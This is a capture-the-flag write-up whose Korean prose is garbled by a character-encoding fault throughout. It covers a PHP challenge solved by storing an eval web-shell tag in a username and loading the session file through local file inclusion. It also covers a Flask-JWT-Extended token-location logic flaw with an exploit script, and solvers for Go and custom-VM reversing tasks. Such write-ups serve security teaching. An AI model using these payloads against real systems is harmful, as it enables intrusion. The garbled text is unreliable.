- ์ ์คํฌ๋ฆฐ์ท์ด ์ด์ ๋ ๋ค์ด๊ฐ ์ ์์ด์ ธ๋ฒ๋ฆฐ
ํํธ ํ์ด์ง
๋ค.
8. ์ฌ๋ด (2) โ Unintended Solution
์ด์ง*
,๊น๊ฒฝ*
๋๊ป์ ์์ ์ค๋ช ํ๋/home/php/.bash_history
์ฐธ์กฐ๋ฅผ ํตํ ํ์ด๊ฐ ์๋rce
๋ก ๋ฌธ์ ๋ฅผ ํ์ดํ์ฌ, ์ด์ ๋ํ ์ค๋ช ๋ ์งํํ๊ฒ ๋ค.
- lfi์ sqli์ ๊ณผ์ ์ ๋์ผํ๋ค.
- ํค๋ ๋ฉ๋ด๋ฅผ ํ์ธํด๋ณด๋ฉด, ๋ก๊ทธ์ธ ์
USER : {USERNAME}
์ ํํ๋ก ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
<!-- ... -->
<?php
if($_SESSION["username"]){
if($_SESSION["username"] === "admin"){
echo "<li><a href=\"/?page=readme\"><span>Readme</span></a></li>";
}
echo "<li style=\"position: absolute; left: 10rem;\"><a href=\"#\" style=\"cursor: default;\"><span>USER : ${_SESSION['username']}</span></a></li>";
echo '<li style="position: absolute; right: 10rem;"><a href="/?page=mypage"><span>Mypage</span></a></li>';
echo '<li style="position: absolute; right: 3rem;"><a href="/?page=logout"><span>Logout</span></a></li>';
}
else{
echo '<li style="position: absolute; right: 3rem;"><a href="/?page=login"><span>Login</span></a></li>';
}
?>
<!-- ... -->
header.php
๋ฅผ ํ์ธํด๋ณด๋ฉด$_SESSION['username']
์ผ๋ก ์ธ์ ์ ์ ์ฅ๋ username์ ๊ฐ์ ธ์จ๋ค.
- username์
<?=eval($_GET[0])?>
์ ๊ฐ์ PHP expression tag๋ฅผ ์ฌ์ฉํ์ฌ eval ์ฝ๋๋ฅผ ์ฝ์ ํ ํ ํ์๊ฐ์ ๋ฐ ๋ก๊ทธ์ธํ๋ค.
- ์ดํ ์ผ๋ฐ์ ์ผ๋ก ์ธ์
์ด ์ ์ฅ๋๋ ์์น์ธ
/var/lib/php/session/
๋๋ ํ ๋ฆฌ์sess_{PHPSESSID}
ํ์ผ์ lfi ์ทจ์ฝ์ ์ ํตํด includeํ์ฌrce
ํ๋ค.
- ์์ ๊ฐ์ด
rce
๋ฅผ ์งํํ ํ, python flask ์์ค์ฝ๋๊ฐ ์๋/app
๋๋ ํ ๋ฆฌ๋ฅผ ์ฐพ์ ํด๋น/app/app.py
๋ฅผ ์ฝ์ด ํฌํธ ๋ฒํธ๋ฅผ ์์๋ธ๋ค.
- ๊ทธ๋ฆฌ๊ณ
curl ๋ช ๋ น์ด
๋๋ssrf ์ทจ์ฝ์
์ ์ด์ฉํ์ฌhttp://localhost:2026/flag
ํ์ด์ง์ ์ ๊ทผํ์ฌ ํ๋๊ทธ๋ฅผ ํ๋ํ๋ค.
- php ๊ณ์ ์
/flag
ํ์ผ์ ๋ํ ์ฝ๊ธฐ ๊ถํ์ด ์๊ธฐ ๋๋ฌธ์cat /flag
๋๋lfi ์ทจ์ฝ์
์ผ๋ก๋ ์ฝ์ ์ ์๋ค.
JWT-Extended
- JWT ํ ํฐ์ ์ ์กํ๋ ๋ฐฉ๋ฒ์ ์ฌ๋ฌ ๊ฐ์ง๋ก ์๋ํด๋ณผ ์ ์๋ค.
- ๋ฌธ์ ์์ /flag๋ก ์๋ฌด๋ฐ ๊ฐ์ ๋ฃ์ง ์๊ณ ์ ๊ทผํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ msg๋ฅผ ๋ฐ์ ์ ์๋ค. ์ฌ๊ธฐ์ cookies or headers ๋ผ๋ ๋ฌธ๊ตฌ๋ฅผ ํตํด ํ ํฐ ๊ฐ์ ์ ์ ํ ๋ฃ์ด์ค ๊ณณ์ ์์ํ ์ ์๋ค.
- Cookie์ Header๋ฅผ ๋ฒ๊ฐ์๊ฐ๋ฉฐ ๋ง๋ฃ๋๊ฑฐ๋ ๋ง๋ฃ๋์ง ์์ ๊ฐ์ ์ฝ์ ํ ํ ์ ์กํ๊ฒ ๋๋ฉด ํ๋ฆฌ๋ ๋ฌธ์ ๋ค.
๋ฌธ์ ์์ธ ์ค๋ช
- ์๋์ ๋ฌธ์ ์์ค๋ ์๋์ ๊ฐ๋ค.
#!/usr/bin/env python3
from flask import (
Flask,
request,
jsonify
)
from flask_jwt_extended import (
JWTManager,
jwt_required,
create_access_token,
decode_token,
get_jwt_identity,
)
from jwt.utils import base64url_decode
from jwt.algorithms import get_default_algorithms
import datetime, time, json
def is_expired(token):
if decode_token(token, allow_expired=True)['exp'] < int(time.time()):
return True
return False
def create_app(config="app.config.Config"):
# Setup flask
app = Flask(__name__)
app.config.from_object(config)
@app.route("/")
def index():
return "POST : /login <br>\nGET : /flag"
# Standard login endpoint
@app.route('/login', methods=['POST'])
def login():
try:
username = request.json.get('username', None)
password = request.json.get('password', None)
except:
return jsonify({"msg":"""Bad request. Submit your login / pass as {"username":"admin","password":"admin"}"""}), 400
if username != 'admin' or password != 'admin':
return jsonify({"msg": "Bad username or password"}), 401
access_token = create_access_token( identity=username,
expires_delta=datetime.timedelta(minutes=1))
ret = {
'access_token': access_token,
}
return jsonify(ret), 200
@app.route('/flag', methods=['GET'])
@jwt_required
def flag():
try:
access_token = request.headers.get("Authorization").split()[1]
except:
return jsonify({"msg" : "No Token!"})
current_user = get_jwt_identity()
if current_user == 'admin' and is_expired(access_token):
# Here your Flag / It is not Race condition
return jsonify({"Good For You" : app.config['FLAG']})
else:
return jsonify({"msg" :"Not Expired Token!"})
with app.app_context():
app.config['JWT_SECRET_KEY'] = app.config['SECRET']
app.config['JWT_TOKEN_LOCATION'] = ['cookies', 'headers']
jwtmanager = JWTManager(app)
return app
- ์์ ๋ฌธ์ ์์ ์๊ตฌํ๋ ๊ฒ์ /flag ๋ก ์ ๊ทผํ์ฌ
@jwt_required
๋ฅผ ํต๊ณผํ ํ, flag ํจ์๋ฅผ ์คํํ์ง๋ง,get_jwt_identity()
ํจ์์is_expired()
ํจ์๋ฅผ ํตํด ํ์ฌ ํ ํฐ์ด ๋ง๋ฃ๋์ด์ผ๋ง flag๋ฅผ ์ ๋ฌํด์ฃผ๋ ํํ์ ๋ฌธ์ ์ด๋ค.
- ์ฒซ ๋ฒ์งธ๋ก jwt_required๋ผ๋ decorator์์๋ request์์ ๋ฐ์์จ JWT์ ์ํ๋ฅผ ์ฒดํฌํ๊ณ , ์ ์์ ์ธ ํ ํฐ(๋ง๋ฃ ์ํ, ์๊ทธ๋์ฒ ํ์ธ ๋ฑ)์ธ ๊ฐ๋ฅผ ํ์ธํ๋ค. ์ฆ, ์ ์์ ์ผ๋ก ์๋ฒ์์ ๋ฐํํ ํ ํฐ์ด์ด์ผ ํ๋ค๋ ์๋ฏธ์ด๋ค.
- ๋ ๋ฒ์งธ๋ก access_token์์ Authorization ํค๋์ ์๋ ํ ํฐ์ ๋ฐ์์ ํด๋น ํ ํฐ์ด ์ ์์ ์ธ์ง ์ฒดํฌํ์ฌ expired ๋์๋์ง ํ์ธํ๋ ๋ฃจํด์ด ์๋ค. ๋จ, ์ฌ๊ธฐ์๋ get_jwt_identity() ํจ์๋ก ํ ํฐ์ ๊ฒ์ฌํ๊ธฐ ๋๋ฌธ์ ์๋ฒ์์ ๋ฐํํ ์ ์์ ์ธ ํ ํฐ์ ์ฌ์ฉํด์ผ ํ๋ค.
- ๋ฐ๋ผ์ ์์ ๋ฌธ์ ์ ์ปจ์ ์ JWT๊ฐ ๋ง๋ฃ๋์ง ์์์ง๋ง, ๋ง๋ฃ๋์ด์ผ ํ๋ฆฌ๋ ๋ฌธ์ ๋ก, ๋ก์ง์ปฌํ ์ทจ์ฝ์ ์ ์๋ํ ๊ฒ์ด๋ค. ๋จผ์ ๋ฌธ์ ํ์ด์ ์์ Flask-JWT-Extended ์คํ์์ค์ ๋ํ ์ค๋ช ์ด ํ์ํ ๊ฒ ๊ฐ๋ค.
[Flask-JWT-Extended]
- Flask์๋ ๋ค์ํ Extended ๋ชจ๋์ด ์๋๋ฐ, ๊ทธ ์ค ํ๋๋ก JWT์ ๋ํ ๋ชจ๋์ด ์๋ค. pyjwt๋ฅผ ์ฌ์ฉํด๋ ๋ฌด๋ฐฉํ๋, ๋ณด๋ค ์ ์ฐํ ์ฝ๋ ์์ฑ๊ณผ ๊ด๋ฆฌ๋ฅผ ์ํด Flask-JWT-Extended๋ฅผ ์ถ์ฒํ๋ค.
- Document๋ฅผ ์ดํด๋ณด๋ฉด Basic Usage์์ ๋ณด์ฌ์ฃผ๋ ๊ฒ๊ณผ ๊ฐ์ด
Header
๋ฅผ ํตํด JWT๋ฅผ ์ฌ์ฉํ๋ ๊ฒ๊ณผQuery(get)
,JSON(post)
,Cookie
๊ทธ๋ฆฌ๊ณ ์ด ๋ค ๊ฐ์ง ๋ฐฉ๋ฒ์ผ๋ก ์ฌ์ฉ์ด ๊ฐ๋ฅํ๋ค.
- ์ด๋ฅผ ์ฒ๋ฆฌํ๋ ๋ฃจํด์ ๋จผ์ ํ์ ํด๋ณด๋๋ก ํ์.
- flask-jwt-extended ์ view_decorator ์์ค
# https://github.com/vimalloc/flask-jwt-extended/blob/master/flask_jwt_extended/view_decorators.py
def _decode_jwt_from_request(request_type):
# All the places we can get a JWT from in this request
get_encoded_token_functions = []
locations = config.token_location
# add the functions in the order specified in JWT_TOKEN_LOCATION
for location in locations:
if location == 'cookies':
get_encoded_token_functions.append(
lambda: _decode_jwt_from_cookies(request_type))
if location == 'query_string':
get_encoded_token_functions.append(_decode_jwt_from_query_string)
if location == 'headers':
get_encoded_token_functions.append(_decode_jwt_from_headers)
if location == 'json':
get_encoded_token_functions.append(
lambda: _decode_jwt_from_json(request_type))
# Try to find the token from one of these locations. It only needs to exist
# in one place to be valid (not every location).
errors = []
decoded_token = None
jwt_header = None
for get_encoded_token_function in get_encoded_token_functions:
try:
encoded_token, csrf_token = get_encoded_token_function()
decoded_token = decode_token(encoded_token, csrf_token)
jwt_header = get_unverified_jwt_headers(encoded_token)
break
except NoAuthorizationError as e:
errors.append(str(e))
# Do some work to make a helpful and human readable error message if no
# token was found in any of the expected locations.
if not decoded_token:
token_locations = config.token_location
multiple_jwt_locations = len(token_locations) != 1
if multiple_jwt_locations:
err_msg = "Missing JWT in {start_locs} or {end_locs} ({details})".format(
start_locs=", ".join(token_locations[:-1]),
end_locs=token_locations[-1],
details="; ".join(errors)
)
raise NoAuthorizationError(err_msg)
else:
raise NoAuthorizationError(errors[0])
verify_token_type(decoded_token, expected_type=request_type)
verify_token_not_blacklisted(decoded_token, request_type)
return decoded_token, jwt_header
- ์์ ๊ฐ์ด for ๋ฐ๋ณต๋ฌธ์ ์ด์ฉํ์ฌ
location
ํ ํฐ์ด ์์ ๊ฒ์ด๋ผ ๋ฏธ๋ฆฌ ์ ์ธ๋์ด ์๋ ์์น๋ฅผ ๋ชจ๋ ํ์ธํ์ฌget_encoded_token_functions
์ append ํ๋ค. ์ด๋ location์ config.py์ JWT_TOKEN_LOCATION์ผ๋ก ์ ์ธํ๊ฑฐ๋ app.config['JWT_TOKEN_LOCATION']์ ์ ์ธํ ์ ์๋ค.
for get_encoded_token_function in get_encoded_token_functions:
try:
encoded_token, csrf_token = get_encoded_token_function()
decoded_token = decode_token(encoded_token, csrf_token)
jwt_header = get_unverified_jwt_headers(encoded_token)
break
except NoAuthorizationError as e:
errors.append(str(e))
- ์ด๋ ์์ ๊ฐ์ด get_encoded_token_functions์ append๋ ๋ชจ๋ ์์น์์ ํ ํฐ์ ํ์ฑํ๋ ๊ฒ์ด ์๋๋ผ append๋ ์์๋๋ก token์ ๊ฒ์ฌํ๋, ํ๋๊ฐ ์ ์์ ์ผ๋ก ํ์ฑ๋์์ ๊ฒฝ์ฐ, ๋ค์ ํ ํฐ์ ๋ฌด์ํ๋๋ก ์ฝ๋๊ฐ ์์ฑ๋์ด ์๋ค. ๋ฐ๋ผ์ ํ ํฐ์ ์์น๊ฐ ์ฌ๋ฌ ๊ณณ์ผ๋ก ์ง์ ํ ๊ฒฝ์ฐ ๋ก์ง์ปฌํ ์ทจ์ฝ์ ์ด ๋ฐ์ํ ์ ์๊ณ , ์ด๋ฒ ๋ฌธ์ ์ ์ปจ์ ๋ํ ์ด์ ๋์ผํ๋ค.
- ๋ค์ ๋ฌธ์ ๋ก ๋์์ ๋์ฌ๊ฒจ๋ด์ผ ํ ๊ฒ์ app.config['JWT_TOKEN_LOCATION']์ด๋ค.
with app.app_context():
app.config['JWT_SECRET_KEY'] = app.config['SECRET']
app.config['JWT_TOKEN_LOCATION'] = ['cookies', 'headers']
jwtmanager = JWTManager(app)
return app
- JWT ํ ํฐ์ ์์น๊ฐ cookies, ๊ทธ๋ฆฌ๊ณ headers๋ก ๋์ด ์๋ค.
jwt_required
์get_jwt_identity()
์์๋ cookies์ ์ ์ธ๋ JWT Token์ ํตํด ๊ฒ์ฆํ๊ฒ ๋๋ค. ๊ทธ๋ฌ๋ ์ธ์์ ์ผ๋ก Authorization ํค๋๋ฅผ ํตํด ๊ฒ์ฆํ๋ ๊ณณ์์๋_decode_jwt_from_request
์์ returnํ๋ ํ ํฐ๊ณผ๋ ๋ค๋ฅด๋ค.
- ์ด์ ๊ฐ์ ๊ฒ์ฌ ๋ฃจํด์ ํตํด ๊ฒ์ฆํ ๊ฒฝ์ฐ ๋ก์ง์ปฌํ ์ทจ์ฝ์ ์ด ๋ฐ์ํ ์ ์๊ธฐ ๋๋ฌธ์ Flask-JWT-Extended์ ๊ฒฝ์ฐ ํด๋น ๋ชจ๋์์ ์ ๊ณตํ๋ ํจ์๋ก ํ ํฐ ๊ฒ์ฌ ๋ฐ ๊ฒ์ฆ ๊ฐ์ ๋ฐํํ ์ ์๋๋ก ํ๋ ๊ฒ์ด ๊ถ์ฅ๋๋ค.
# exploit.py
import requests
import json
import jwt
requests.packages.urllib3.disable_warnings()
# Get Token
url = "http://ctf.kkamikoon.com/"
headers = { "Content-Type" : "application/json; charset=utf-8" }
data = { "username" : "admin",
"password" : "admin" }
res = requests.post(url=url + "login", headers=headers, data=json.dumps(data), verify=False)
new = json.loads(res.text)['access_token']
# Expired JWT == Exploit JWT
exploit_jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1OTc4NTc4MzcsIm5iZiI6MTU5Nzg1NzgzNywianRpIjoiMzQyYjNlZTItMzQ1My00Y2IzLWFjYzgtZjMxMzcyYjU3NGEwIiwiZXhwIjoxNTk3ODU3ODAwLCJpZGVudGl0eSI6Imd1ZXN0IiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIiwiY3NyZiI6IjRmNGE4YTk3LTdiNDEtNGZiMy1iYzcxLTE0YjBiODM3ZmQyNSJ9.pJYyoZjq-6l06TQ6ugfQZjoHtSClEhW_6AvXzYjAQM8" # expired
exploit_headers = {
"Authorization" : f"Bearer {exploit_jwt}",
"Cookie" : f"access_token_cookie={new}"
}
res = requests.get(url=url + "flag", headers=exploit_headers, verify=False)
print(res.text)
๐ฅ๏ธ REVERSING
gocat
- ์ฃผ์ด์ง ๋ฌธ์ ํ์ผ์ ๋ค์ด๋ก๋๋ฐ๊ณ ๋ฐ์ด๋๋ฆฌ๋ฅผ ida๋ก ์ด๊ฒ๋๋ฉด ์๋์ ๊ฐ์ด ์ฌ๋ณผ์ด ์ด์์์ง ์์ ๊ฒ์ฒ๋ผ ๋ณด์ธ๋ค.
- ํ์ง๋ง golang์ ์ฝ๋ ์์ฑ์ ์ฌ์ฉํ ํจํค์ง์ ์ฌ๋ฌ ํจ์์ ๋ํ ์ ๋ณด๋ค์
gopclntab
์น์ ์ ์ ์ฅํ๋ค. ํด๋น ์น์ ์ ์ ์ฅ ์, ์๋์ ๊ฐ์ ๊ตฌ์กฐ์ฒด๋ฅผ ๊ฐ์ง๋ค.
struct _FUNCTIONINFO {
QDWORD lpFunctionAddr,
QDWORD qdNameOffset
}
- ๋ฐ๋ผ์, ํด๋น ์น์ ์ ๊ตฌ์กฐ์ฒด๋ฅผ ํ์ฑํด์ ์ค๋ํ ์ ์งํํ๋ฉด ๋๋ค. ํ์ง๋ง ์ด ์์ ๋ค์ ๋๋ฌด ๋ง์ ๋ ธ๋์ด ํ์ํ๋ฏ๋ก ๋๊ตฐ๊ฐ ๋ง๋ค์ด๋์ ida golang assist๋ฅผ ์ฌ์ฉํ๋ฉด ์๋์ ๊ทธ๋ฆผ๊ณผ ๊ฐ์ด ๋น๊ต์ ๊น๋ํ ํจ์๋ช ์ ํ์ธ ํ ์ ์๋ค.
- ์์ ๊ฐ์ด assist๋ฅผ ์ฌ์ฉํด ํจ์๋ช ์ ๋ฐ๊ฟ์ค ์ดํ, main_mainํจ์๋ฅผ ์ฐพ์์ ๋์ปดํ์ผํ๋ค.
- main_mainํจ์๋ฅผ ๋๋ต์ ์ผ๋ก ์ดํด๋ณด๋ฉด ์ด๋์ ๋ ๊ตฌ์กฐ๊ฐ ๋์ ๋ค์ด์ค๊ฒ ๋๋๋ฐ ๋ค์๊ณผ ๊ฐ์ pseudo code๋ก ๋์ด์์์ ์ ์ ์๊ณ , ์ญ์ฐ์ฐ์ด ์ถฉ๋ถํ ๊ฐ๋ฅํ ๊ตฌ์กฐ์ธ ๊ฒ ๋ํ ์ ์ ์๋ค.
# pseudo code
seed = time.unixtime()
srand(seed);
for i in range(256):
table[i] = rand()
flag = input()
if len(flag) > 44:
exit(0)
result = []
for i in range(44):
result += [ getRandom() * table[getIndex((1 << i) % 256)] + flag[i] ]
for i in range(44):
print(i, result[i])
- ์ฌ๊ธฐ์ ์ถ๊ฐ์ ์ผ๋ก ๋ถ์ํด์ผํ ๊ฒ์ getIndexํจ์์ธ๋ฐ, ํด๋น ํจ์๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
- ์ฌ๊ท์ ์ผ๋ก ํธ์ถํ๋ ๊ฒ์ ๋ณผ ์ ์๋๋ฐ, ์ ์์ ์ผ๋ก ๋์ปดํ์ผ์ด ๋์ง ์๋๋ค. ์ด๋ฌํ ์ด์ ๋๋ฌธ์ ์ด์ ์ฝ๋๋ฅผ ๋ณด์์ผํ๋ค.
- ์์ ๋ ๊ทธ๋ฆผ์์ ๋ณผ ์ ์๋ฏ, eax๊ฐ getIndexํจ์์์ ์คํ์ผ๋ก ๋ค์ด๊ฐ๋ ๊ฒ์ ํ์ธํ ์ ์๊ณ ๋๋ต์ ์ผ๋ก ์๋์ ๊ฐ์ด ๋์ํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
def getIndex(depth):
if depth < 2:
return 1
return (getIndex(depth - 2) + getIndex(depth - 1)) % 256
- ์์ ์๋๋ก ๊ณ์ฐ์ ํ๋ฉด ํผ๋ณด๋์น ์์ด์์ ์ ์ ์๋๋ฐ, ์ด๋ฅผ ์ฌ๊ท์ ์ผ๋ก ๊ตฌํํ๊ธฐ ๋๋ฌธ์ 40๋ฒ์งธ ์์ด ๊ฐ์ ๊ณ์ฐํ๊ธฐ ์ํด์ ์ ์ง์์ ๊ณ์ฐ์ด ํ์ํ๊ฒ ๋๋ค. ๊ทธ๋ฌ๋ฏ๋ก memorization ์ด๋ ๊ฐ๋จํ๊ฒ ๋ฏธ๋ฆฌ ๋ฐฐ์ด๋ก ๊ณ์ฐ์ ํด์ฃผ๋ฉด ๋๋ค.
- ์์ ์์ ๋ค์ ๋ชจ๋ ํฉ์ณ์, ์ญ์ฐ์ฐ์ ํ๊ธฐ ์ํ poc๋ฅผ ์์ฑํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
package main
import (
"fmt"
"math/rand"
"time"
)
var memory []int
func getIndex(idx int) int {
if memory[idx] != 0 {
return memory[idx]
}
if idx < 2 {
memory[idx] = 1
return 1
}
result := (getIndex(idx - 2) + getIndex(idx - 1)) & 0xFF
memory[idx] = result
return result
}
func getRandom(r *rand.Rand) int {
return r.Int()
}
func main() {
memory = make([]int, 0x100)
flag_enc := []uint32{
2069409670, 2964128287, 2354096995, 3032984546, 10510900, 2544990927, 2926778951, 552570446, 1853857527, 3973419442, 3048538325, 1902664467, 420185447, 2658384181, 2929871612, 4151170943, 7446955, 2503536331, 1899187641, 3227466824, 3596188763, 2770886128, 3598361089, 3417226313, 2440643422, 157914802, 380458138, 2585576567, 3413857472, 2292452225, 2949469921, 3191119812, 3830151779, 783135889, 801108861, 50993623, 2780019976, 283706417, 64541485, 3786109553, 4159600537, 2979925216, 3157377353, 420734285,
}
for unix := time.Now().Unix(); unix > 0; unix-- {
r := rand.New(rand.NewSource(unix))
table := make([]uint8, 0x100)
for i := 0; i < 0x100; i++ {
table[i] = uint8(getRandom(r))
}
prefix := []byte("bob")
found := true
for i := 0; i < len(prefix); i++ {
calc := int(prefix[i]) + int(table[getIndex(((1 << uint32(i)) % 256))]) * getRandom(r)
if uint32(calc) != flag_enc[i] {
found = false
break
}
}
if found == true {
fmt.Println("[+] Found flag")
flag := make([]byte, len(flag_enc))
for i := len(prefix); i < len(flag_enc); i++ {
flag[i] = byte(int(uint32(flag_enc[i])) - int(table[(getIndex((1 << uint32(i) % 256)))]) * getRandom(r))
}
fmt.Println("flag => ", string(prefix) + string(flag))
return
}
}
}
flag: bob{DO_NOT_USING_GOLANG_PLZ_JUST_KEEP_GOING}
bvm-rev
bvm ํ์ผ์ ์ ๊ทธ๋ฆผ๊ณผ ๊ฐ์ ๊ตฌ์กฐ๋ฅผ ๊ฐ์ง๊ณ , ๊ฐ ์น์ ์ ์ฝ๋ ์์ญ, ๋ฐ์ดํฐ ์์ญ, ๋ณ์ ์์ญ ๋ฑ์ผ๋ก ์ฌ์ฉ๋๋ค.
struct CALLSTACK {
uint16_t reg[4];
uint16_t retaddr;
};
struct BVM {
uint16_t section[32];
uint8_t 32;
int8_t zf;
struct CALLSTACK callstack[6];
int8_t cs_count;
uint32_t size;
uint8_t data[2048];
uint16_t reg[4]; //ax, bx, cx, dx
uint16_t pc;
};
๊ฐ opcode๊ฐ ์ด๋ค ๋์์ ํ๋์ง ํ์ ํ๊ธฐ ์ํด์๋ ๊ตฌ์กฐ์ฒด๋ฅผ ์ ์ํ๊ณ ๋ถ์ํ๋ ๊ฒ์ด ํธํ๋ค.
๊ทธ๋ฆฌ๊ณ ๋ถ์์ ํตํด ์๋์ ๋ช๊ฐ์ง ์ฌ์ค์ ์ ์ ์๋ค.
- 4๊ฐ์ register(ax, bx, cx, dx)๋ฅผ ์ฌ์ฉํ๊ณ ๊ฐ ๋ ์ง์คํฐ์ ๋ชจ๋ ์ฐ์ฐ์ฒ๋ฆฌ๋ 2bytes ํฌ๊ธฐ๋ฅผ ๊ฐ์ง๋ค.
- CALL instruction์ ํธ์ถํ ๋ register์ ๋์์ฌ ์ฃผ์๋ฅผ ๋ฐฑ์ ํ๊ณ , RETURN์ ๋ง๋๋ฉด ax register๋ฅผ ์ ์ธํ register๋ฅผ ๋ณต์ํ๊ณ ๋์์ฌ ์ฃผ์๋ก pc๋ฅผ ๋ณ๊ฒฝํ๋ค.
- ๊ฒฝ๊ณ(boundary)๋ฅผ ๋์ด์๋ ์ฐธ์กฐ๊ฐ ๋ฐ๊ฒฌ๋๋ฉด ํ๋ก๊ทธ๋จ์ด ์ข ๋ฃ๋๋ค. (์ผ๋ถ opcode์์๋ ๊ฒฝ๊ณ ๊ฒ์ฌ๋ฅผ ํ์ง ์๋๋ค)
.KEY
db 170, 68, 138, 0, 142, 162, 151, 226, 51, 148, 151, 94, 14, 185, 161, 33
.ENC_FLAG
db 123, 120, 140, 153, 192, 37, 165, 150, 203, 23, 199, 222, 164, 129, 2, 229, 59, 56, 195, 97, 207, 108, 50, 51, 153, 248, 39, 72, 122, 0, 93, 44, 113
.GET_FLAG_LENGTH
MOVE ax, SECTION#INPUT_FLAG
MOVE cx, 0
:LABEL_1
MOVE bx, ax
ADD bx, cx
MOVE bx, [bx]
AND bx, 255
COMP bx, 0
JE LABEL_2
COMP bx, 10 // '\n'
JE LABEL_2
ADD cx, 1
JMP LABEL_1
:LABEL_2
MOVE ax, cx
RETURN
.ROL
MOVE cx, bx
MOD cx, 8
MOVE bx, 8
SUB bx, cx
RSHIFT cx, ax, bx
MOVE dx, 8
SUB dx, bx
MOVE bx, dx
LSHIFT dx, ax, bx
MOVE bx, 8
LSHIFT ax, cx, bx
SUB dx, ax
MOVE ax, dx
ADD ax, cx
RETURN
.FLAG_CHECK
MOVE cx, 0
:LABEL_3
MOVE ax, SECTION#INPUT_FLAG
ADD ax, cx
MOVE ax, [ax]
AND ax, 255
MOVE bx, cx
CALL ROL
MOVE bx, SECTION#RESULT_FLAG
ADD bx, cx
MOVE [bx], ax
MOVE ax, SECTION#KEY
MOVE bx, cx
MOD bx, 16
ADD ax, bx
MOVE dx, [ax]
AND dx, 255
MOVE ax, SECTION#INPUT_FLAG
MOVE bx, cx
ADD bx, 1
MOD bx, 33
ADD ax, bx
MOVE ax, [ax]
AND ax, 255
ADD dx, ax
MOVE bx, SECTION#RESULT_FLAG
ADD bx, cx
MOVE ax, [bx]
XOR ax, dx
AND ax, 255
MOVE bx, SECTION#RESULT_FLAG
ADD bx, cx
MOVE [bx], ax
ADD cx, 1
COMP cx, 33
JNE LABEL_3
MOVE cx, 0
MOVE dx, 1
:LABEL_4
MOVE ax, SECTION#RESULT_FLAG
ADD ax, cx
MOVE ax, [ax]
AND ax, 255
MOVE bx, SECTION#ENC_FLAG
ADD bx, cx
MOVE bx, [bx]
AND bx, 255
COMP ax, bx
JE LABEL_5
MOVE dx, 0
:LABEL_5
ADD cx, 1
COMP cx, 33
JNE LABEL_4
MOVE ax, dx
RETURN
.STRING_CHECK_YOUR_FLAG
string "Check your flag: "
.STRING_CORRECT
string "Correct !!\n"
.STRING_INCORRECT
string "Wrong ...\n"
.INPUT_FLAG
empty 50
.RESULT_FLAG
empty 34
.MAIN
MOVE cx, 17
MOVE bx, SECTION#STRING_CHECK_YOUR_FLAG
MOVE ax, 1
SYSCALL
MOVE cx, 48
MOVE bx, SECTION#INPUT_FLAG
MOVE ax, 0
SYSCALL
CALL GET_FLAG_LENGTH
COMP ax, 33
JNE LABEL_6
CALL FLAG_CHECK
COMP ax, 1
JNE LABEL_6
MOVE cx, 11
MOVE bx, SECTION#STRING_CORRECT
MOVE ax, 1
SYSCALL
RETURN
:LABEL_6
MOVE cx, 10
MOVE bx, SECTION#STRING_INCORRECT
MOVE ax, 1
SYSCALL
RETURN
bvm ๋ฐ์ด๋๋ฆฌ ๋ถ์์ ํตํด ๊ฐ bvm opcode๋ฅผ ํด์ํ๊ณ flag.bvm์ ์์ ๊ฐ์ด disassembleํ๋ค.
def ROL(data, shift):
shift %= 8
remains = data >> (8 - shift)
body = (data << shift) - (remains << 8)
return (body + remains)
def GET_FLAG_LENGTH(inp):
return len(inp)
ENC_FLAG = [123, 120, 140, 153, 192, 37, 165, 150, 203, 23, 199, 222, 164, 129, 2, 229, 59, 56, 195, 97, 207, 108, 50, 51, 153, 248, 39, 72, 122, 0, 93, 44, 113]
KEY = [170, 68, 138, 0, 142, 162, 151, 226, 51, 148, 151, 94, 14, 185, 161, 33]
INPUT_FLAG = list(input("Check your flag: ").encode())
if GET_FLAG_LENGTH(INPUT_FLAG) != 33:
exit(0)
RESULT_FLAG = [0] * 33
for i in range(33):
RESULT_FLAG[i] = ROL(INPUT_FLAG[i], i)
RESULT_FLAG[i] ^= KEY[i % 16] + INPUT_FLAG[(i + 1) % 33]
RESULT_FLAG[i] &= 0xFF
if RESULT_FLAG == ENC_FLAG:
print("Correct !!")
else:
print("Wrong ..")
disassmbleํ ๊ฒฐ๊ณผ๋ฅผ python์ผ๋ก ํฌํ ํ๋ค.
def ROR(data, shift):
shift %= 8
body = data >> shift
remains = (data << (8 - shift)) - (body << 8)
return (body + remains)
KEY = [170, 68, 138, 0, 142, 162, 151, 226, 51, 148, 151, 94, 14, 185, 161, 33]
ENC_FLAG = [123, 120, 140, 153, 192, 37, 165, 150, 203, 23, 199, 222, 164, 129, 2, 229, 59, 56, 195, 97, 207, 108, 50, 51, 153, 248, 39, 72, 122, 0, 93, 44, 113]
FLAG = [0] * 33
FLAG[0] = ord('b') # prefix "bob{"
for i in range(32, -1, -1):
FLAG[i] = ROR(ENC_FLAG[i] ^ (FLAG[(i + 1) % 33] + KEY[i % 16]) & 0xFF, i)
print("FLAG => {}".format(bytes(FLAG)))
# FLAG => b'bob{BVM_Wi1l_C0m2_B@ck_N2xt_T1me}'
์ด๊ฒ์ ์ญ์ฐ์ฐํ๋ ์ฝ๋๋ฅผ ์์ฑํ๋ฉด flag๋ฅผ ํ๋ํ ์ ์๋ค.
ํด๋น ๋ฐฉ์ ์ด์ธ์ ๋น๊ต opcode(0x9, 0x19)์ BP๋ฅผ ๊ฑธ๊ณ input์ ๋ฐ๋ผ ๋ณํํ๋ register๋ฅผ ๋ณด๊ณ ๊ท์น์ ์ฐพ์ flag๋ฅผ ๊ฐ์ ์ ์ผ๋ก ์ถ์ถํ๋ ๋ฐฉ๋ฒ๋ ๊ฐ๋ฅํ๋ค.
Hot Patching
- main ํจ์(0x42D7A0)์์ sub_401000์ ํธ์ถํ๋ค.
- sub_401000์ ์์ ๊ฐ๋ค.
